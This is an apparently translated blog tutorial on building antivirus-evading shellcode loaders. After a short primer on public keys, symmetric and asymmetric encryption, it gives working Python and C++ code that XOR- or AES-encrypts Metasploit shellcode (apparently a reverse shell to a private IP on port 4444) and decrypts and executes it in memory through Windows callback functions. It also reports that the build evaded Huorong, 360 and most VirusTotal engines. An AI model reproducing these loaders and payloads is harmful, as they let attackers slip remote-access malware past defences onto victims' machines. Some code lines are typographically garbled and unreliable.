Foreword
What are private and public keys
Private key and public key are key components used in cryptography to implement functions such as encryption, decryption and digital signature.
A private key is a secret key in an encryption algorithm, only the owner of the key can access and use it. The private key is usually used in scenarios such as digital signature and data encryption. It can be used to encrypt data, and it can also be used to decrypt encrypted data.
A public key is a public key corresponding to a private key, which can be accessed and used by anyone. Public keys are usually used in scenarios such as data encryption, identity authentication, and digital signatures. The public key can be used to encrypt data, and it can also be used to verify the validity of digital signatures.
In an asymmetric encryption algorithm, a public key and a private key are a pair of keys that jointly participate in the encryption and decryption process. The public key is used to encrypt data and the private key is used to decrypt data. Therefore, when using an asymmetric encryption algorithm, the recipient of the data keeps its private key a secret while sending its public key to the sender. This way, the sender can use the receiver’s public key to encrypt data, and the receiver can use its private key to decrypt the data.
It should be noted that the private key and the public key appear in pairs, and they must be used at the same time to ensure the security and integrity of the data. Therefore, when using the private key and public key for data encryption, decryption, and digital signature operations, the security and confidentiality of the private key must be ensured
Learn about symmetric and asymmetric encryption
- Symmetric encryption: In symmetric encryption, the same key is used for encryption and decryption, often called a shared key. This means that when encrypting data, both the sender and receiver need to use the same key. The symmetric encryption algorithm is faster and suitable for encrypting large amounts of data. However, one major disadvantage of symmetric encryption is key management. Since the sender and receiver need to use the same key, secure transmission and storage of the key becomes a challenge. Once the key is compromised, the security of encrypted data is compromised. Common symmetric encryption algorithms are: AES (Advanced Encryption Standard), DES (Data Encryption Standard) and 3DES (Triple Data Encryption Standard).
- Asymmetric Encryption: Asymmetric encryption uses a pair of keys called a public key and a private key. The public key is public and can be obtained by anyone, while the private key is kept secret and can only be accessed by the key owner. In asymmetric encryption, data can be encrypted with a public key and then only decrypted with the corresponding private key; and vice versa, data encrypted with a private key can only be decrypted with the public key. In this way, the key management problem is solved, because only the private key needs to be protected. A disadvantage of asymmetric encryption is that the encryption and decryption process is relatively slow, so it is generally not suitable for encrypting large amounts of data. Common asymmetric encryption algorithms are: RSA (Rivest-Shamir-Adleman), DSA (Digital Signature Algorithm) and ECC (Elliptic Curve Cryptography).
In practical applications, symmetric encryption and asymmetric encryption are usually used in combination to take full advantage of the advantages of both. For example, asymmetrically encrypted keys are securely transmitted through asymmetric encryption, and then the data is encrypted using symmetric encryption. This not only solves the key management problem, but also can quickly encrypt a large amount of data.
XOR encryption
What is xor encryption
XOR encryption is also called XOR encryption, and XOR encryption belongs to symmetric encryption. In XOR encryption, a key (often called a key stream) is used to XOR the plaintext data to generate encrypted ciphertext. The decryption process is the same as the encryption process, and the original plaintext data can be recovered by XORing the ciphertext with the same key stream
Code Implementation
Use Shellcode_XorEncoder.py
to perform XOR encryption on the shellcode, and then output the encrypted shellcode
# Define the XOR encryption function, which receives the original shellcode and key as input def xor_encrypt(shellcode, key): encrypted_shellcode = bytearray() key_len = len(key) # Iterate through each byte in the shellcode for i in range(len(shellcode)): # XOR the current byte with the corresponding byte in the key, and then add it to the encrypted shellcode # The i % key_len operation in this code is used to ensure that the key is recycled when XORing the shellcode encrypted_shellcode.append(shellcode[i] ^ key[i % key_len]) return encrypted_shellcode def main(): # The shellcode generated by msf buf = b"" buf + = b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51" buf + = b"\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52" buf + = b"\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72" buf + = b"\x50\x4d\x31\xc9\x48\x0f\xb7\x4a\x4a\x48\x31\xc0" buf + = b"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" buf + = b"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b" buf + = b"\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f" buf + = b"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48" buf + = b"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" buf + = b"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x4d\x31\xc9\x48" buf + = b"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x48\x31\xc0" buf + = b"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1" buf + = b"\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" buf + = b"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44" buf + = b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" buf + = b"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" buf + = b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" buf + = b"\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49" buf + = b"\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49" buf + = b"\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5" buf + = b"\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x2f\x9b\x41\x54" buf + = b"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07" buf + = b"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41" buf + = b"\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50" buf + = b"\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89" buf + = b"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf" buf + = b"\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89" buf + = b"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5" buf + = b"\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00" buf + = b"\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9" buf + = b"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8" buf + = b"\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20" buf + = b"\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00" buf + = b"\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4" buf + = b"\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31" buf + = b"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba" buf + = b"\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58" buf + = b"\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00" buf + = b"\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41" buf + = b"\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c" buf + = b"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6" buf + = b"\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2" buf + = b"\xf0\xb5\xa2\x56\xff\xd5" shellcode = bytearray(buf) # define key key = bytearray(b'henry') # Encrypt shellcode using xor_encrypt function encrypted_shellcode = xor_encrypt(shellcode, key) # Output encrypted shellcode print("Encrypted shellcode:") encrypted_shellcode_string = "" for byte in encrypted_shellcode: encrypted_shellcode_string + = ("\x x"%byte) print(encrypted_shellcode_string) if __name__ == '__main__': main()
Use xor encryption.cpp
to decrypt the encrypted shellcode, then load it into memory
#include <Windows.h> #include <stdio.h> int main() {<!-- --> // store the xor encrypted shellcode char encryptedShellcode[] = "..."; // Define the key used for decryption char key[] = "henry"; // Define an array with the same size as the encrypted shellcode to store the decrypted shellcode unsigned char shellcode[sizeof encryptedShellcode]; // Get the length of the key int keylength = strlen(key); // Traverse the encrypted shellcode and decrypt it using XOR operation, and store the result in the shellcode array for (int i = 0; i < sizeof encryptedShellcode; i ++ ) {<!-- --> shellcode[i] = encryptedShellcode[i] ^ key[i % keylength]; printf("\x%x", shellcode[i]); } // Get the address of the decrypted shellcode char* addrShellcode = (char*)shellcode; // Declare a DWORD variable to store the old memory protection attributes DWORD dwOldPro = 0; // Change the protection attribute of the memory area where the decrypted shellcode is located, allowing execution, reading, and writing BOOL ifExec = VirtualProtect(addrShellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldPro); // Execute the decrypted shellcode using the EnumUILanguages function EnumUILanguages((UILANGUAGE_ENUMPROC)addrShellcode, 0, 0); }
AES encryption
What is aes encryption
AES encryption, the Advanced Encryption Standard (Advanced Encryption Standard) encryption, is a symmetric key encryption algorithm widely used in modern cryptography
The characteristics of AES encryption are as follows:
- Symmetric key: The encryption and decryption process uses the same key. Therefore, the security of the key is of paramount importance.
- Key length: AES supports three key lengths of 128-bit, 192-bit and 256-bit, and the security increases with the increase of the key length.
- Packet length: AES encryption algorithm groups data, and each packet is fixed at 128 bits (16 bytes).
- Encryption process: including multiple rounds (the number of rounds is related to the length of the key, such as AES-128 requires 10 rounds, AES-192 requires 12 rounds, and AES-256 requires 14 rounds) of encryption operations. Each round of operation consists of four steps: SubBytes (byte replacement), ShiftRows (row shift), MixColumns (column confusion, except the last round) and AddRoundKey (round key addition)
Code Implementation
Here directly use Master Crow’s AES encryption code: https://cloud.tencent.com/developer/article/1939317, I encapsulate the AES encryption function in a static link library project, and then add the key generation function and shellcode Array to string function, a total of four functions
//AES encryption string EncryptionAES(const string & strSrc, const char* g_key, const char* g_iv); //AES decryption string DecryptionAES(const string & strSrc, const char* g_key, const char* g_iv); //Generate a random key string random_string(size_t length); //Convert char type shellcode to string type string toHexString(unsigned char* data, size_t len);
Shellcode_AesEncrypt.cpp
performs Aes encryption on shellcode
#include <iostream> #include "Shellcode encryption library.h" using namespace std; int main() {<!-- --> \t //Fill in the shellcode generated by msf or cs unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50" "\x52\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x51" "\x48\x8b\x52\x20\x56\x4d\x31\xc9\x48\x8b\x72\x50\x48\x0f" "\xb7\x4a\x4a\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" "\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f" "\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0" "\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49" "\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6" "\x4d\x31\xc9\x48\x31\xc0\x41\xc1\xc9\x0d\xac\x41\x01\xc1" "\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8" "\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44" "\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41" "\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83" "\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9" "\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00" "\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49" "\x89\xe5\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x2f\x9b\x41\x54" "\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5" "\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b" "\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31" "\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41" "\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58" "\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5" "\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00" "\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58" "\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00" "\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68" "\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba" "\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31" "\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9" "\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68" "\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f" "\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49" "\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48" "\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2" "\xf0\xb5\xa2\x56\xff\xd5"; //Generate random 16-bit key value and iv value srand(time(0)); // initialize random seed string g_key = random_string(16); string g_iv = random_string(16); cout << "key value: " << g_key << endl; cout << "iv value: " << g_iv <<endl; //Convert the shellcode byte array to a hexadecimal string size_t bufLen = sizeof(buf) / sizeof(unsigned char) - 1; string OriginalShellcode = toHexString(buf, bufLen); cout << "Unencrypted shellcode: " << OriginalShellcode << endl; //Encrypt the shellcode string string EncryptShellcode = EncryptionAES(OriginalShellcode,g_key.c_str(),g_iv.c_str()); cout << "encrypted shellcode: " << EncryptShellcode << endl; //Decrypt the encrypted shellcode string string DecryptShellcode = DecryptionAES(EncryptShellcode, g_key.c_str(), g_iv.c_str()); cout << "Decrypted shellcode: " << DecryptShellcode << endl; \t\t return 0; }
Shellcode_AesDecrypt.cpp
is used to decrypt the shellcode and load it. The function of the lazy_importer library is also called here: https://github.com/JustasMasiulis/lazy_importer. This library realizes the dynamic calling of the system api function, just Add (LI_FN
) in front of the function, if a parameter of this function needs to be filled with NULL
, then it needs to be changed to nullptr
#define _CRT_SECURE_NO_DEPRECATE #include <iostream> #include "lazy_importer.hpp" #define BUF_SIZE 4096 #include <windows.h> #include "Shellcode encryption library.h" using namespace std; char g_key[17] = "M7N@ExCVB@dFd]3W"; //Fill in the key key char g_iv[17] = "}%?#U)6;9#uOg6gL"; //Define iv vector void main(int argc, char* argv[]) {<!-- --> // Encrypted shellcode string buf = "Zq3ejgFVl/qtP/dqcQidBN6BKWTiL/KZZpfW + Iy8ZMnaA4Au2oEHMltr8TihG9yvvQ1MDt0PFqboWsF5ka9y72L9xJ5a4HRBFspK3vMwvtKMH8Xtko6ErmfUUB8pv4 n4DybjQseeuYtPqEDGvX8zlwONk9nyu5r8aozfNCxLvnbFyzX5OLInbra87Az3FGhilZnCwMufIPZLgolhRkgyhnS96CsMst/pNz4AqcCNmfe7Gw1rcuVgHqETNxwIsNzWDmUguUJ173NHAZ JpKmF1k39IYnF4JMvVk3QH81jzX68ClhGvADXnPlmz20PHzzjKOzkovpW4cPT3Q/1B2HOwWwhKPZdLKakJeuSa1YLwv6Nu3UdP8II6dGDVsgb4y/U7O1aiHbJFXSM5XXx7eKqTe8MV 8gLfwNNR6M4qaWEm7XmdsE0WryhL5F1SFe/6uxPrcIFnGE3I0jVntLjYfVWotkkrEgL7M6rXlOgKHF3Pd6AIIPm23zULA9NyJsHuKmqOUgyzf7LiPxPcIqhNo5DA1opqCqBS3XTeusUjr6x3 AyBT9MquUeJKuB7BBtWJWyuQzTzzSXaDRmErc6lSTM + DKTo101TZYKz4Jl2I8xDMey7IJT + Z1iYt/thgi1FeRLnrGAFKhNn3xAqjYORcKXLPGkSWq1MoZZxOJi6QF1uqMlB3tDBD6w/pAhuq HR + ZxnaHjfbqybG8rNLXc6hshmazoiFakC9QwHM9RgyVde9GGpkNr + wzjp1Tc1SbXSHtFHXumU1IP6NvLqU0/tWrTui9t8nrsqNFgGlQUXyAzmnk04vXJeD7kxGbSFSXwffPGUlOtDS1 q/ + P + fwj + ZvjpmiPLzoo + hgZ0UOtyO1ThltWr4rWitqMPneleC11qlVcyOp0odOTxuZiUeJyTOY9wHWwXg3snVWat23VSE7eQ4QWcF/GtfRVBsiGGENo1hH1nuxNTlEx/2os30f3IOj/yUfIXpuwH aWsNwlyw6119Z3PgCOdR + 1qDCvJenZEsCkyjUJ830xC1V5VxCw1m0btTP + LaefsNEocc5V7fyNyaw0o72yl/g + bacycAbG/hIJlWbaXneDFysBLPtLFJjXm0gAsE3iyffdB9l6c8ffohInaNlWC8x7IDb4X6vrFC8cnc DFb3NKIInVFR6bmqXfxXAamxzKXdpVjngPZg6YCWpTUtobZhThnhpO1KZxvHoFCcidxLq + mifWHpcldcS/ez2vWGdriSbd6i9FGGaxQQvHze1HmaLP/sj34JDMfIVfOI2/4sejnjluKfhcu5I 0P76idHJKMDHr + rJBtpSxX3jc + UNlfeFmhjuN2Yy/TO1kLRfUdfAeZP2Vz4WhITdRf8bvqJA=="; // decrypt shellcode string strbuf = DecryptionAES(buf, g_key, (char*)g_iv); //Put the decrypted shellcode into the shellcode array char* p = (char*)strbuf.c_str(); unsigned char* shellcode = (unsigned char*)calloc(strbuf. length() / 2, sizeof(unsigned char)); for (size_t i = 0; i < strbuf. length() / 2; i ++ ) {<!-- --> sscanf(p, "x", &shellcode[i]); p + = 2; } //Output the contents of the shellcode array int ShellcodeSize = strbuf. length() / 2; printf("Decrypted buffer:\ "); for (int i = 0; i < ShellcodeSize; i ++ ) {<!-- --> printf("\x x", shellcode[i]); } //load shellcode char* orig_buffer; orig_buffer = (char*)LI_FN(VirtualAlloc)(nullptr, ShellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); \t RtlMoveMemory(orig_buffer, shellcode, ShellcodeSize); \t //Use the EnumUILanguages function to execute the decrypted shellcode //EnumUILanguages((UILANGUAGE_ENUMPROC)orig_buffer, 0, 0); //LI_FN(EnumUILanguages)((UILANGUAGE_ENUMPROC)orig_buffer, 0, 0); //Use the EnumFontsW callback function to load shellcode EnumFontsW(GetDC(NULL), NULL, (FONTENUMPROCW)orig_buffer, NULL); }
Run tests
Add a reference to the aes encryption project and select the Shellcode encryption library
Modify the project properties and add the path of the Shellcode encryption library project in the additional include directory
Use Shellcode_AesEncryption.cpp
to encrypt, then the console outputs key value, iv value, and encrypted shellcode
Open Shellcode_AesDecrypt.cpp
, fill in the value generated above, and then generate an executable file
Put the generated executable file in Huorong and 360 for testing, no virus was found
Uploaded to VirusTotal for inspection, there are only four reports of viruses, and the anti-kill effect is still possible
Git project address
https://github.com/xf555er/ShellcodeEncryption